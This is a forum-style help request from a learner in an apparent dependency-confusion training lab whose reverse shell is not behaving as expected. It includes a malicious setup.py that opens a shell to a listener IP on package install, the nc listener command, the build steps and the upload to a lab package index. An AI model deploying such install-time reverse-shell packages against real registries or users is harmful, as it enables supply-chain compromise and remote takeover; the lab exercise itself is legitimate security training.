My reverse shell doesn't seem to be working and my listener is spitting out this error every single time:

"iml-user@dependency-confusion-desktop:~$ nc -lvp 4242
Listening on 0.0.0.0 4242
Connection received on humble.pie 50074
dependency-confusion-target:/tmp/pip-install-f7fjilfu/flask-auth-humble-pie_e42ebccc41e140c7a74896ea6e23e5eb# ^[[5;31R"

I have only been copy and pasting the instructions into the terminal but in case I've went wrong there here's my commands and python code:

"iml-user@dependency-confusion-desktop:~/flask-auth-humble-pie$ vim setup.py
iml-user@dependency-confusion-desktop:~/flask-auth-humble-pie$ python3 setup.py sdist
running sdist
running egg_info
creating flask_auth_humble_pie.egg-info
writing flask_auth_humble_pie.egg-info/PKG-INFO
writing dependency_links to flask_auth_humble_pie.egg-info/dependency_links.txt
writing top-level names to flask_auth_humble_pie.egg-info/top_level.txt
writing manifest file 'flask_auth_humble_pie.egg-info/SOURCES.txt'
reading manifest file 'flask_auth_humble_pie.egg-info/SOURCES.txt'
writing manifest file 'flask_auth_humble_pie.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md

running check
warning: check: missing required meta-data: url

warning: check: missing meta-data: if 'author' supplied, 'author_email' must be supplied too

creating flask-auth-humble-pie-1.0.4
creating flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info
copying files to flask-auth-humble-pie-1.0.4...
copying setup.py -> flask-auth-humble-pie-1.0.4
copying flask_auth_humble_pie.egg-info/PKG-INFO -> flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info
copying flask_auth_humble_pie.egg-info/SOURCES.txt -> flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info
copying flask_auth_humble_pie.egg-info/dependency_links.txt -> flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info
copying flask_auth_humble_pie.egg-info/not-zip-safe -> flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info
copying flask_auth_humble_pie.egg-info/top_level.txt -> flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info
Writing flask-auth-humble-pie-1.0.4/setup.cfg
creating dist
Creating tar archive
removing 'flask-auth-humble-pie-1.0.4' (and everything under it)
iml-user@dependency-confusion-desktop:~/flask-auth-humble-pie$ twine upload dist/*
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (1.26.15) or chardet (3.0.4) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
Uploading distributions to http://pypie.org/
Uploading flask-auth-humble-pie-1.0.4.tar.gz
100% 3.8/3.8 kB 00:00 ?
iml-user@dependency-confusion-desktop:~/flask-auth-humble-pie$ cat setup.py
#!/usr/bin/env python3

import os
import pty
import socket
from pathlib import Path

from setuptools import find_packages, setup

# Stops us infecting ourselves
if not Path("/home/iml-user/Desktop/check_for_this").exists():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.102.37.119", 4242))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)

pty.spawn("/bin/sh")

setup(
name="flask-auth-humble-pie",
version="1.0.4",
author="no one",description="package",
long_description="long package",
long_description_content_type="text/markdown",
zip_safe=False,
packages=find_packages(),
include_package_data=True,
)"

I've also attached my machines but this is not the first time I have encountered this problem and have reset the machines multiple times:

Desktop - "10.102.37.119"
PyPI Server - "10.102.4.14"
Target - "10.102.51.118"

Any help on this would be appreciated ASAP. I really need this lab completed.